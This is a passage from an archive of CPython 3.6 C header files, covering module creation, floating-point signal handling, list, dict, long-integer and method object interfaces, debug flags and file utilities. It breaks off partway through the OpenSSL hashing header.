7-Nov-1995 GvR Keyword arguments (should've been done at 1.3 :-( ) 10-Jan-1995 GvR Renamed globals to new naming scheme 9-Jan-1995 GvR Initial version (incompatible with older API) */ /* The PYTHON_ABI_VERSION is introduced in PEP 384. For the lifetime of Python 3, it will stay at the value of 3; changes to the limited API must be performed in a strictly backwards-compatible manner. */ #define PYTHON_ABI_VERSION 3 #define PYTHON_ABI_STRING "3" #ifdef Py_TRACE_REFS /* When we are tracing reference counts, rename module creation functions so modules compiled with incompatible settings will generate a link-time error. */ #define PyModule_Create2 PyModule_Create2TraceRefs #define PyModule_FromDefAndSpec2 PyModule_FromDefAndSpec2TraceRefs #endif PyAPI_FUNC(PyObject *) PyModule_Create2(struct PyModuleDef*, int apiver); #ifdef Py_LIMITED_API #define PyModule_Create(module) \ PyModule_Create2(module, PYTHON_ABI_VERSION) #else #define PyModule_Create(module) \ PyModule_Create2(module, PYTHON_API_VERSION) #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* New in 3.5 */ PyAPI_FUNC(PyObject *) PyModule_FromDefAndSpec2(PyModuleDef *def, PyObject *spec, int module_api_version); #ifdef Py_LIMITED_API #define PyModule_FromDefAndSpec(module, spec) \ PyModule_FromDefAndSpec2(module, spec, PYTHON_ABI_VERSION) #else #define PyModule_FromDefAndSpec(module, spec) \ PyModule_FromDefAndSpec2(module, spec, PYTHON_API_VERSION) #endif /* Py_LIMITED_API */ #endif /* New in 3.5 */ #ifndef Py_LIMITED_API PyAPI_DATA(char *) _Py_PackageContext; #endif #ifdef __cplusplus } #endif #endif /* !Py_MODSUPPORT_H */ python3.6m/pyfpe.h 0000644 00000020427 15246445047 0010005 0 ustar 00 #ifndef Py_PYFPE_H #define Py_PYFPE_H #ifdef __cplusplus extern "C" { #endif /* --------------------------------------------------------------------- / Copyright (c) 1996. \ | The Regents of the University of California. | | All rights reserved. | | | | Permission to use, copy, modify, and distribute this software for | | any purpose without fee is hereby granted, provided that this en- | | tire notice is included in all copies of any software which is or | | includes a copy or modification of this software and in all | | copies of the supporting documentation for such software. | | | | This work was produced at the University of California, Lawrence | | Livermore National Laboratory under contract no. W-7405-ENG-48 | | between the U.S. Department of Energy and The Regents of the | | University of California for the operation of UC LLNL. | | | | DISCLAIMER | | | | This software was prepared as an account of work sponsored by an | | agency of the United States Government. Neither the United States | | Government nor the University of California nor any of their em- | | ployees, makes any warranty, express or implied, or assumes any | | liability or responsibility for the accuracy, completeness, or | | usefulness of any information, apparatus, product, or process | | disclosed, or represents that its use would not infringe | | privately-owned rights. Reference herein to any specific commer- | | cial products, process, or service by trade name, trademark, | | manufacturer, or otherwise, does not necessarily constitute or | | imply its endorsement, recommendation, or favoring by the United | | States Government or the University of California. The views and | | opinions of authors expressed herein do not necessarily state or | | reflect those of the United States Government or the University | | of California, and shall not be used for advertising or product | \ endorsement purposes. / --------------------------------------------------------------------- */ /* * Define macros for handling SIGFPE. * Lee Busby, LLNL, November, 1996 * busby1@llnl.gov * ********************************************* * Overview of the system for handling SIGFPE: * * This file (Include/pyfpe.h) defines a couple of "wrapper" macros for * insertion into your Python C code of choice. Their proper use is * discussed below. The file Python/pyfpe.c defines a pair of global * variables PyFPE_jbuf and PyFPE_counter which are used by the signal * handler for SIGFPE to decide if a particular exception was protected * by the macros. The signal handler itself, and code for enabling the * generation of SIGFPE in the first place, is in a (new) Python module * named fpectl. This module is standard in every respect. It can be loaded * either statically or dynamically as you choose, and like any other * Python module, has no effect until you import it. * * In the general case, there are three steps toward handling SIGFPE in any * Python code: * * 1) Add the *_PROTECT macros to your C code as required to protect * dangerous floating point sections. * * 2) Turn on the inclusion of the code by adding the ``--with-fpectl'' * flag at the time you run configure. If the fpectl or other modules * which use the *_PROTECT macros are to be dynamically loaded, be * sure they are compiled with WANT_SIGFPE_HANDLER defined. * * 3) When python is built and running, import fpectl, and execute * fpectl.turnon_sigfpe(). This sets up the signal handler and enables * generation of SIGFPE whenever an exception occurs. From this point * on, any properly trapped SIGFPE should result in the Python * FloatingPointError exception. * * Step 1 has been done already for the Python kernel code, and should be * done soon for the NumPy array package. Step 2 is usually done once at * python install time. Python's behavior with respect to SIGFPE is not * changed unless you also do step 3. Thus you can control this new * facility at compile time, or run time, or both. * ******************************** * Using the macros in your code: * * static PyObject *foobar(PyObject *self,PyObject *args) * { * .... * PyFPE_START_PROTECT("Error in foobar", return 0) * result = dangerous_op(somearg1, somearg2, ...); * PyFPE_END_PROTECT(result) * .... * } * * If a floating point error occurs in dangerous_op, foobar returns 0 (NULL), * after setting the associated value of the FloatingPointError exception to * "Error in foobar". ``Dangerous_op'' can be a single operation, or a block * of code, function calls, or any combination, so long as no alternate * return is possible before the PyFPE_END_PROTECT macro is reached. * * The macros can only be used in a function context where an error return * can be recognized as signaling a Python exception. (Generally, most * functions that return a PyObject * will qualify.) * * Guido's original design suggestion for PyFPE_START_PROTECT and * PyFPE_END_PROTECT had them open and close a local block, with a locally * defined jmp_buf and jmp_buf pointer. This would allow recursive nesting * of the macros. The Ansi C standard makes it clear that such local * variables need to be declared with the "volatile" type qualifier to keep * setjmp from corrupting their values. Some current implementations seem * to be more restrictive. For example, the HPUX man page for setjmp says * * Upon the return from a setjmp() call caused by a longjmp(), the * values of any non-static local variables belonging to the routine * from which setjmp() was called are undefined. Code which depends on * such values is not guaranteed to be portable. * * I therefore decided on a more limited form of nesting, using a counter * variable (PyFPE_counter) to keep track of any recursion. If an exception * occurs in an ``inner'' pair of macros, the return will apparently * come from the outermost level. * */ #ifdef WANT_SIGFPE_HANDLER #include <signal.h> #include <setjmp.h> #include <math.h> extern jmp_buf PyFPE_jbuf; extern int PyFPE_counter; extern double PyFPE_dummy(void *); #define PyFPE_START_PROTECT(err_string, leave_stmt) \ if (!PyFPE_counter++ && setjmp(PyFPE_jbuf)) { \ PyErr_SetString(PyExc_FloatingPointError, err_string); \ PyFPE_counter = 0; \ leave_stmt; \ } /* * This (following) is a heck of a way to decrement a counter. However, * unless the macro argument is provided, code optimizers will sometimes move * this statement so that it gets executed *before* the unsafe expression * which we're trying to protect. That pretty well messes things up, * of course. * * If the expression(s) you're trying to protect don't happen to return a * value, you will need to manufacture a dummy result just to preserve the * correct ordering of statements. Note that the macro passes the address * of its argument (so you need to give it something which is addressable). * If your expression returns multiple results, pass the last such result * to PyFPE_END_PROTECT. * * Note that PyFPE_dummy returns a double, which is cast to int. * This seeming insanity is to tickle the Floating Point Unit (FPU). * If an exception has occurred in a preceding floating point operation, * some architectures (notably Intel 80x86) will not deliver the interrupt * until the *next* floating point operation. This is painful if you've * already decremented PyFPE_counter. */ #define PyFPE_END_PROTECT(v) PyFPE_counter -= (int)PyFPE_dummy(&(v)); #else #define PyFPE_START_PROTECT(err_string, leave_stmt) #define PyFPE_END_PROTECT(v) #endif #ifdef __cplusplus } #endif #endif /* !Py_PYFPE_H */ python3.6m/listobject.h 0000644 00000005524 15246445047 0011025 0 ustar 00 /* List object interface */ /* Another generally useful object type is a list of object pointers. This is a mutable type: the list items can be changed, and items can be added or removed. Out-of-range indices or non-list objects are ignored. *** WARNING *** PyList_SetItem does not increment the new item's reference count, but does decrement the reference count of the item it replaces, if not nil. It does *decrement* the reference count if it is *not* inserted in the list. Similarly, PyList_GetItem does not increment the returned item's reference count. */ #ifndef Py_LISTOBJECT_H #define Py_LISTOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API typedef struct { PyObject_VAR_HEAD /* Vector of pointers to list elements. list[0] is ob_item[0], etc. */ PyObject **ob_item; /* ob_item contains space for 'allocated' elements. The number * currently in use is ob_size. * Invariants: * 0 <= ob_size <= allocated * len(list) == ob_size * ob_item == NULL implies ob_size == allocated == 0 * list.sort() temporarily sets allocated to -1 to detect mutations. * * Items must normally not be NULL, except during construction when * the list is not yet visible outside the function that builds it. */ Py_ssize_t allocated; } PyListObject; #endif PyAPI_DATA(PyTypeObject) PyList_Type; PyAPI_DATA(PyTypeObject) PyListIter_Type; PyAPI_DATA(PyTypeObject) PyListRevIter_Type; PyAPI_DATA(PyTypeObject) PySortWrapper_Type; #define PyList_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_LIST_SUBCLASS) #define PyList_CheckExact(op) (Py_TYPE(op) == &PyList_Type) PyAPI_FUNC(PyObject *) PyList_New(Py_ssize_t size); PyAPI_FUNC(Py_ssize_t) PyList_Size(PyObject *); PyAPI_FUNC(PyObject *) PyList_GetItem(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyList_SetItem(PyObject *, Py_ssize_t, PyObject *); PyAPI_FUNC(int) PyList_Insert(PyObject *, Py_ssize_t, PyObject *); PyAPI_FUNC(int) PyList_Append(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyList_GetSlice(PyObject *, Py_ssize_t, Py_ssize_t); PyAPI_FUNC(int) PyList_SetSlice(PyObject *, Py_ssize_t, Py_ssize_t, PyObject *); PyAPI_FUNC(int) PyList_Sort(PyObject *); PyAPI_FUNC(int) PyList_Reverse(PyObject *); PyAPI_FUNC(PyObject *) PyList_AsTuple(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyList_Extend(PyListObject *, PyObject *); PyAPI_FUNC(int) PyList_ClearFreeList(void); PyAPI_FUNC(void) _PyList_DebugMallocStats(FILE *out); #endif /* Macro, trading safety for speed */ #ifndef Py_LIMITED_API #define PyList_GET_ITEM(op, i) (((PyListObject *)(op))->ob_item[i]) #define PyList_SET_ITEM(op, i, v) (((PyListObject *)(op))->ob_item[i] = (v)) #define PyList_GET_SIZE(op) Py_SIZE(op) #define _PyList_ITEMS(op) (((PyListObject *)(op))->ob_item) #endif #ifdef __cplusplus } #endif #endif /* !Py_LISTOBJECT_H */ python3.6m/graminit.h 0000644 00000003656 15246445047 0010501 0 ustar 00 /* Generated by Parser/pgen */ #define single_input 256 #define file_input 257 #define eval_input 258 #define decorator 259 #define decorators 260 #define decorated 261 #define async_funcdef 262 #define funcdef 263 #define parameters 264 #define typedargslist 265 #define tfpdef 266 #define varargslist 267 #define vfpdef 268 #define stmt 269 #define simple_stmt 270 #define small_stmt 271 #define expr_stmt 272 #define annassign 273 #define testlist_star_expr 274 #define augassign 275 #define del_stmt 276 #define pass_stmt 277 #define flow_stmt 278 #define break_stmt 279 #define continue_stmt 280 #define return_stmt 281 #define yield_stmt 282 #define raise_stmt 283 #define import_stmt 284 #define import_name 285 #define import_from 286 #define import_as_name 287 #define dotted_as_name 288 #define import_as_names 289 #define dotted_as_names 290 #define dotted_name 291 #define global_stmt 292 #define nonlocal_stmt 293 #define assert_stmt 294 #define compound_stmt 295 #define async_stmt 296 #define if_stmt 297 #define while_stmt 298 #define for_stmt 299 #define try_stmt 300 #define with_stmt 301 #define with_item 302 #define except_clause 303 #define suite 304 #define test 305 #define test_nocond 306 #define lambdef 307 #define lambdef_nocond 308 #define or_test 309 #define and_test 310 #define not_test 311 #define comparison 312 #define comp_op 313 #define star_expr 314 #define expr 315 #define xor_expr 316 #define and_expr 317 #define shift_expr 318 #define arith_expr 319 #define term 320 #define factor 321 #define power 322 #define atom_expr 323 #define atom 324 #define testlist_comp 325 #define trailer 326 #define subscriptlist 327 #define subscript 328 #define sliceop 329 #define exprlist 330 #define testlist 331 #define dictorsetmaker 332 #define classdef 333 #define arglist 334 #define argument 335 #define comp_iter 336 #define comp_for 337 #define comp_if 338 #define encoding_decl 339 #define yield_expr 340 #define yield_arg 341 python3.6m/longintrepr.h 0000644 00000007261 15246445047 0011226 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_LONGINTREPR_H #define Py_LONGINTREPR_H #ifdef __cplusplus extern "C" { #endif /* This is published for the benefit of "friends" marshal.c and _decimal.c. */ /* Parameters of the integer representation. There are two different sets of parameters: one set for 30-bit digits, stored in an unsigned 32-bit integer type, and one set for 15-bit digits with each digit stored in an unsigned short. The value of PYLONG_BITS_IN_DIGIT, defined either at configure time or in pyport.h, is used to decide which digit size to use. Type 'digit' should be able to hold 2*PyLong_BASE-1, and type 'twodigits' should be an unsigned integer type able to hold all integers up to PyLong_BASE*PyLong_BASE-1. x_sub assumes that 'digit' is an unsigned type, and that overflow is handled by taking the result modulo 2**N for some N > PyLong_SHIFT. The majority of the code doesn't care about the precise value of PyLong_SHIFT, but there are some notable exceptions: - long_pow() requires that PyLong_SHIFT be divisible by 5 - PyLong_{As,From}ByteArray require that PyLong_SHIFT be at least 8 - long_hash() requires that PyLong_SHIFT is *strictly* less than the number of bits in an unsigned long, as do the PyLong <-> long (or unsigned long) conversion functions - the Python int <-> size_t/Py_ssize_t conversion functions expect that PyLong_SHIFT is strictly less than the number of bits in a size_t - the marshal code currently expects that PyLong_SHIFT is a multiple of 15 - NSMALLNEGINTS and NSMALLPOSINTS should be small enough to fit in a single digit; with the current values this forces PyLong_SHIFT >= 9 The values 15 and 30 should fit all of the above requirements, on any platform. */ #if PYLONG_BITS_IN_DIGIT == 30 typedef uint32_t digit; typedef int32_t sdigit; /* signed variant of digit */ typedef uint64_t twodigits; typedef int64_t stwodigits; /* signed variant of twodigits */ #define PyLong_SHIFT 30 #define _PyLong_DECIMAL_SHIFT 9 /* max(e such that 10**e fits in a digit) */ #define _PyLong_DECIMAL_BASE ((digit)1000000000) /* 10 ** DECIMAL_SHIFT */ #elif PYLONG_BITS_IN_DIGIT == 15 typedef unsigned short digit; typedef short sdigit; /* signed variant of digit */ typedef unsigned long twodigits; typedef long stwodigits; /* signed variant of twodigits */ #define PyLong_SHIFT 15 #define _PyLong_DECIMAL_SHIFT 4 /* max(e such that 10**e fits in a digit) */ #define _PyLong_DECIMAL_BASE ((digit)10000) /* 10 ** DECIMAL_SHIFT */ #else #error "PYLONG_BITS_IN_DIGIT should be 15 or 30" #endif #define PyLong_BASE ((digit)1 << PyLong_SHIFT) #define PyLong_MASK ((digit)(PyLong_BASE - 1)) #if PyLong_SHIFT % 5 != 0 #error "longobject.c requires that PyLong_SHIFT be divisible by 5" #endif /* Long integer representation. The absolute value of a number is equal to SUM(for i=0 through abs(ob_size)-1) ob_digit[i] * 2**(SHIFT*i) Negative numbers are represented with ob_size < 0; zero is represented by ob_size == 0. In a normalized number, ob_digit[abs(ob_size)-1] (the most significant digit) is never zero. Also, in all cases, for all valid i, 0 <= ob_digit[i] <= MASK. The allocation function takes care of allocating extra memory so that ob_digit[0] ... ob_digit[abs(ob_size)-1] are actually available. CAUTION: Generic code manipulating subtypes of PyVarObject has to aware that ints abuse ob_size's sign bit. */ struct _longobject { PyObject_VAR_HEAD digit ob_digit[1]; }; PyAPI_FUNC(PyLongObject *) _PyLong_New(Py_ssize_t); /* Return a copy of src. */ PyAPI_FUNC(PyObject *) _PyLong_Copy(PyLongObject *src); #ifdef __cplusplus } #endif #endif /* !Py_LONGINTREPR_H */ #endif /* Py_LIMITED_API */ python3.6m/classobject.h 0000644 00000003202 15246445047 0011146 0 ustar 00 /* Former class object interface -- now only bound methods are here */ /* Revealing some structures (not for general use) */ #ifndef Py_LIMITED_API #ifndef Py_CLASSOBJECT_H #define Py_CLASSOBJECT_H #ifdef __cplusplus extern "C" { #endif typedef struct { PyObject_HEAD PyObject *im_func; /* The callable object implementing the method */ PyObject *im_self; /* The instance it is bound to */ PyObject *im_weakreflist; /* List of weak references */ } PyMethodObject; PyAPI_DATA(PyTypeObject) PyMethod_Type; #define PyMethod_Check(op) ((op)->ob_type == &PyMethod_Type) PyAPI_FUNC(PyObject *) PyMethod_New(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyMethod_Function(PyObject *); PyAPI_FUNC(PyObject *) PyMethod_Self(PyObject *); /* Macros for direct access to these values. Type checks are *not* done, so use with care. */ #define PyMethod_GET_FUNCTION(meth) \ (((PyMethodObject *)meth) -> im_func) #define PyMethod_GET_SELF(meth) \ (((PyMethodObject *)meth) -> im_self) PyAPI_FUNC(int) PyMethod_ClearFreeList(void); typedef struct { PyObject_HEAD PyObject *func; } PyInstanceMethodObject; PyAPI_DATA(PyTypeObject) PyInstanceMethod_Type; #define PyInstanceMethod_Check(op) ((op)->ob_type == &PyInstanceMethod_Type) PyAPI_FUNC(PyObject *) PyInstanceMethod_New(PyObject *); PyAPI_FUNC(PyObject *) PyInstanceMethod_Function(PyObject *); /* Macros for direct access to these values. Type checks are *not* done, so use with care. */ #define PyInstanceMethod_GET_FUNCTION(meth) \ (((PyInstanceMethodObject *)meth) -> func) #ifdef __cplusplus } #endif #endif /* !Py_CLASSOBJECT_H */ #endif /* Py_LIMITED_API */ python3.6m/pydebug.h 0000644 00000002360 15246445047 0010315 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_PYDEBUG_H #define Py_PYDEBUG_H #ifdef __cplusplus extern "C" { #endif /* These global variable are defined in pylifecycle.c */ /* XXX (ncoghlan): move these declarations to pylifecycle.h? */ PyAPI_DATA(int) Py_DebugFlag; PyAPI_DATA(int) Py_VerboseFlag; PyAPI_DATA(int) Py_QuietFlag; PyAPI_DATA(int) Py_InteractiveFlag; PyAPI_DATA(int) Py_InspectFlag; PyAPI_DATA(int) Py_OptimizeFlag; PyAPI_DATA(int) Py_NoSiteFlag; PyAPI_DATA(int) Py_BytesWarningFlag; PyAPI_DATA(int) Py_UseClassExceptionsFlag; PyAPI_DATA(int) Py_FrozenFlag; PyAPI_DATA(int) Py_IgnoreEnvironmentFlag; PyAPI_DATA(int) Py_DontWriteBytecodeFlag; PyAPI_DATA(int) Py_NoUserSiteDirectory; PyAPI_DATA(int) Py_UnbufferedStdioFlag; PyAPI_DATA(int) Py_HashRandomizationFlag; PyAPI_DATA(int) Py_IsolatedFlag; #ifdef MS_WINDOWS PyAPI_DATA(int) Py_LegacyWindowsStdioFlag; #endif PyAPI_DATA(int) _Py_global_config_int_max_str_digits; /* this is a wrapper around getenv() that pays attention to Py_IgnoreEnvironmentFlag. It should be used for getting variables like PYTHONPATH and PYTHONHOME from the environment */ #define Py_GETENV(s) (Py_IgnoreEnvironmentFlag ? NULL : getenv(s)) #ifdef __cplusplus } #endif #endif /* !Py_PYDEBUG_H */ #endif /* Py_LIMITED_API */ python3.6m/fileutils.h 0000644 00000006704 15246445047 0010664 0 ustar 00 #ifndef Py_FILEUTILS_H #define Py_FILEUTILS_H #ifdef __cplusplus extern "C" { #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(wchar_t *) Py_DecodeLocale( const char *arg, size_t *size); PyAPI_FUNC(char*) Py_EncodeLocale( const wchar_t *text, size_t *error_pos); #endif #ifndef Py_LIMITED_API PyAPI_FUNC(wchar_t *) _Py_DecodeLocaleEx( const char *arg, size_t *size, int current_locale); PyAPI_FUNC(char*) _Py_EncodeLocaleEx( const wchar_t *text, size_t *error_pos, int current_locale); PyAPI_FUNC(PyObject *) _Py_device_encoding(int); #if defined(MS_WINDOWS) || defined(__APPLE__) /* On Windows, the count parameter of read() is an int (bpo-9015, bpo-9611). On macOS 10.13, read() and write() with more than INT_MAX bytes fail with EINVAL (bpo-24658). */ # define _PY_READ_MAX INT_MAX # define _PY_WRITE_MAX INT_MAX #else /* write() should truncate the input to PY_SSIZE_T_MAX bytes, but it's safer to do it ourself to have a portable behaviour */ # define _PY_READ_MAX PY_SSIZE_T_MAX # define _PY_WRITE_MAX PY_SSIZE_T_MAX #endif #ifdef MS_WINDOWS struct _Py_stat_struct { unsigned long st_dev; uint64_t st_ino; unsigned short st_mode; int st_nlink; int st_uid; int st_gid; unsigned long st_rdev; __int64 st_size; time_t st_atime; int st_atime_nsec; time_t st_mtime; int st_mtime_nsec; time_t st_ctime; int st_ctime_nsec; unsigned long st_file_attributes; }; #else # define _Py_stat_struct stat #endif PyAPI_FUNC(int) _Py_fstat( int fd, struct _Py_stat_struct *status); PyAPI_FUNC(int) _Py_fstat_noraise( int fd, struct _Py_stat_struct *status); PyAPI_FUNC(int) _Py_stat( PyObject *path, struct stat *status); PyAPI_FUNC(int) _Py_open( const char *pathname, int flags); PyAPI_FUNC(int) _Py_open_noraise( const char *pathname, int flags); PyAPI_FUNC(FILE *) _Py_wfopen( const wchar_t *path, const wchar_t *mode); PyAPI_FUNC(FILE*) _Py_fopen( const char *pathname, const char *mode); PyAPI_FUNC(FILE*) _Py_fopen_obj( PyObject *path, const char *mode); PyAPI_FUNC(Py_ssize_t) _Py_read( int fd, void *buf, size_t count); PyAPI_FUNC(Py_ssize_t) _Py_write( int fd, const void *buf, size_t count); PyAPI_FUNC(Py_ssize_t) _Py_write_noraise( int fd, const void *buf, size_t count); #ifdef HAVE_READLINK PyAPI_FUNC(int) _Py_wreadlink( const wchar_t *path, wchar_t *buf, size_t bufsiz); #endif #ifdef HAVE_REALPATH PyAPI_FUNC(wchar_t*) _Py_wrealpath( const wchar_t *path, wchar_t *resolved_path, size_t resolved_path_size); #endif PyAPI_FUNC(wchar_t*) _Py_wgetcwd( wchar_t *buf, size_t size); PyAPI_FUNC(int) _Py_get_inheritable(int fd); PyAPI_FUNC(int) _Py_set_inheritable(int fd, int inheritable, int *atomic_flag_works); PyAPI_FUNC(int) _Py_set_inheritable_async_safe(int fd, int inheritable, int *atomic_flag_works); PyAPI_FUNC(int) _Py_dup(int fd); #ifndef MS_WINDOWS PyAPI_FUNC(int) _Py_get_blocking(int fd); PyAPI_FUNC(int) _Py_set_blocking(int fd, int blocking); #endif /* !MS_WINDOWS */ PyAPI_FUNC(int) _Py_GetLocaleconvNumeric( PyObject **decimal_point, PyObject **thousands_sep, const char **grouping); #endif /* Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_FILEUTILS_H */ python3.6m/dictobject.h 0000644 00000016012 15246445047 0010767 0 ustar 00 #ifndef Py_DICTOBJECT_H #define Py_DICTOBJECT_H #ifdef __cplusplus extern "C" { #endif /* Dictionary object type -- mapping from hashable object to object */ /* The distribution includes a separate file, Objects/dictnotes.txt, describing explorations into dictionary design and optimization. It covers typical dictionary use patterns, the parameters for tuning dictionaries, and several ideas for possible optimizations. */ #ifndef Py_LIMITED_API typedef struct _dictkeysobject PyDictKeysObject; /* The ma_values pointer is NULL for a combined table * or points to an array of PyObject* for a split table */ typedef struct { PyObject_HEAD /* Number of items in the dictionary */ Py_ssize_t ma_used; /* Dictionary version: globally unique, value change each time the dictionary is modified */ uint64_t ma_version_tag; PyDictKeysObject *ma_keys; /* If ma_values is NULL, the table is "combined": keys and values are stored in ma_keys. If ma_values is not NULL, the table is splitted: keys are stored in ma_keys and values are stored in ma_values */ PyObject **ma_values; } PyDictObject; typedef struct { PyObject_HEAD PyDictObject *dv_dict; } _PyDictViewObject; #endif /* Py_LIMITED_API */ PyAPI_DATA(PyTypeObject) PyDict_Type; PyAPI_DATA(PyTypeObject) PyDictIterKey_Type; PyAPI_DATA(PyTypeObject) PyDictIterValue_Type; PyAPI_DATA(PyTypeObject) PyDictIterItem_Type; PyAPI_DATA(PyTypeObject) PyDictKeys_Type; PyAPI_DATA(PyTypeObject) PyDictItems_Type; PyAPI_DATA(PyTypeObject) PyDictValues_Type; #define PyDict_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_DICT_SUBCLASS) #define PyDict_CheckExact(op) (Py_TYPE(op) == &PyDict_Type) #define PyDictKeys_Check(op) PyObject_TypeCheck(op, &PyDictKeys_Type) #define PyDictItems_Check(op) PyObject_TypeCheck(op, &PyDictItems_Type) #define PyDictValues_Check(op) PyObject_TypeCheck(op, &PyDictValues_Type) /* This excludes Values, since they are not sets. */ # define PyDictViewSet_Check(op) \ (PyDictKeys_Check(op) || PyDictItems_Check(op)) PyAPI_FUNC(PyObject *) PyDict_New(void); PyAPI_FUNC(PyObject *) PyDict_GetItem(PyObject *mp, PyObject *key); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyDict_GetItem_KnownHash(PyObject *mp, PyObject *key, Py_hash_t hash); #endif PyAPI_FUNC(PyObject *) PyDict_GetItemWithError(PyObject *mp, PyObject *key); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyDict_GetItemIdWithError(PyObject *dp, struct _Py_Identifier *key); PyAPI_FUNC(PyObject *) PyDict_SetDefault( PyObject *mp, PyObject *key, PyObject *defaultobj); #endif PyAPI_FUNC(int) PyDict_SetItem(PyObject *mp, PyObject *key, PyObject *item); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyDict_SetItem_KnownHash(PyObject *mp, PyObject *key, PyObject *item, Py_hash_t hash); #endif PyAPI_FUNC(int) PyDict_DelItem(PyObject *mp, PyObject *key); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyDict_DelItem_KnownHash(PyObject *mp, PyObject *key, Py_hash_t hash); PyAPI_FUNC(int) _PyDict_DelItemIf(PyObject *mp, PyObject *key, int (*predicate)(PyObject *value)); #endif PyAPI_FUNC(void) PyDict_Clear(PyObject *mp); PyAPI_FUNC(int) PyDict_Next( PyObject *mp, Py_ssize_t *pos, PyObject **key, PyObject **value); #ifndef Py_LIMITED_API PyDictKeysObject *_PyDict_NewKeysForClass(void); PyAPI_FUNC(PyObject *) PyObject_GenericGetDict(PyObject *, void *); PyAPI_FUNC(int) _PyDict_Next( PyObject *mp, Py_ssize_t *pos, PyObject **key, PyObject **value, Py_hash_t *hash); PyObject *_PyDictView_New(PyObject *, PyTypeObject *); #endif PyAPI_FUNC(PyObject *) PyDict_Keys(PyObject *mp); PyAPI_FUNC(PyObject *) PyDict_Values(PyObject *mp); PyAPI_FUNC(PyObject *) PyDict_Items(PyObject *mp); PyAPI_FUNC(Py_ssize_t) PyDict_Size(PyObject *mp); PyAPI_FUNC(PyObject *) PyDict_Copy(PyObject *mp); PyAPI_FUNC(int) PyDict_Contains(PyObject *mp, PyObject *key); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyDict_Contains(PyObject *mp, PyObject *key, Py_hash_t hash); PyAPI_FUNC(PyObject *) _PyDict_NewPresized(Py_ssize_t minused); PyAPI_FUNC(void) _PyDict_MaybeUntrack(PyObject *mp); PyAPI_FUNC(int) _PyDict_HasOnlyStringKeys(PyObject *mp); Py_ssize_t _PyDict_KeysSize(PyDictKeysObject *keys); Py_ssize_t _PyDict_SizeOf(PyDictObject *); PyAPI_FUNC(PyObject *) _PyDict_Pop(PyObject *, PyObject *, PyObject *); PyObject *_PyDict_Pop_KnownHash(PyObject *, PyObject *, Py_hash_t, PyObject *); PyObject *_PyDict_FromKeys(PyObject *, PyObject *, PyObject *); #define _PyDict_HasSplitTable(d) ((d)->ma_values != NULL) PyAPI_FUNC(int) PyDict_ClearFreeList(void); #endif /* PyDict_Update(mp, other) is equivalent to PyDict_Merge(mp, other, 1). */ PyAPI_FUNC(int) PyDict_Update(PyObject *mp, PyObject *other); /* PyDict_Merge updates/merges from a mapping object (an object that supports PyMapping_Keys() and PyObject_GetItem()). If override is true, the last occurrence of a key wins, else the first. The Python dict.update(other) is equivalent to PyDict_Merge(dict, other, 1). */ PyAPI_FUNC(int) PyDict_Merge(PyObject *mp, PyObject *other, int override); #ifndef Py_LIMITED_API /* Like PyDict_Merge, but override can be 0, 1 or 2. If override is 0, the first occurrence of a key wins, if override is 1, the last occurrence of a key wins, if override is 2, a KeyError with conflicting key as argument is raised. */ PyAPI_FUNC(int) _PyDict_MergeEx(PyObject *mp, PyObject *other, int override); PyAPI_FUNC(PyObject *) _PyDictView_Intersect(PyObject* self, PyObject *other); #endif /* PyDict_MergeFromSeq2 updates/merges from an iterable object producing iterable objects of length 2. If override is true, the last occurrence of a key wins, else the first. The Python dict constructor dict(seq2) is equivalent to dict={}; PyDict_MergeFromSeq(dict, seq2, 1). */ PyAPI_FUNC(int) PyDict_MergeFromSeq2(PyObject *d, PyObject *seq2, int override); PyAPI_FUNC(PyObject *) PyDict_GetItemString(PyObject *dp, const char *key); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyDict_GetItemId(PyObject *dp, struct _Py_Identifier *key); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(int) PyDict_SetItemString(PyObject *dp, const char *key, PyObject *item); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyDict_SetItemId(PyObject *dp, struct _Py_Identifier *key, PyObject *item); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(int) PyDict_DelItemString(PyObject *dp, const char *key); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyDict_DelItemId(PyObject *mp, struct _Py_Identifier *key); PyAPI_FUNC(void) _PyDict_DebugMallocStats(FILE *out); int _PyObjectDict_SetItem(PyTypeObject *tp, PyObject **dictptr, PyObject *name, PyObject *value); PyObject *_PyDict_LoadGlobal(PyDictObject *, PyDictObject *, PyObject *); #endif #ifdef __cplusplus } #endif #endif /* !Py_DICTOBJECT_H */ python3.6m/_hashopenssl.h 0000644 00000002525 15246445047 0011347 0 ustar 00 #ifndef Py_HASHOPENSSL_H #define Py_HASHOPENSSL_H #include "Python.h" #include <openssl/crypto.h> #include <openssl/err.h> /* LCOV_EXCL_START */ static PyObject * _setException(PyObject *exc) { unsigned long errcode; const char *lib, *func, *reason; errcode = ERR_peek_last_error(); if (!errcode) { PyErr_SetString(exc, "unknown reasons"); return NULL; } ERR_clear_error(); lib = ERR_lib_error_string(errcode); func = ERR_func_error_string(errcode); reason = ERR_reason_error_string(errcode); if (lib && func) { PyErr_Format(exc, "[%s: %s] %s", lib, func, reason); } else if (lib) { PyErr_Format(exc, "[%s] %s", lib, reason); } else { PyErr_SetString(exc, reason); } return NULL; } /* LCOV_EXCL_STOP */ __attribute__((__unused__)) static int _Py_hashlib_fips_error(PyObject *exc, char *name) { int result = FIPS_mode(); if (result == 0) { // XXX: This function skips error checking. // This is only appropriate for RHEL. // See 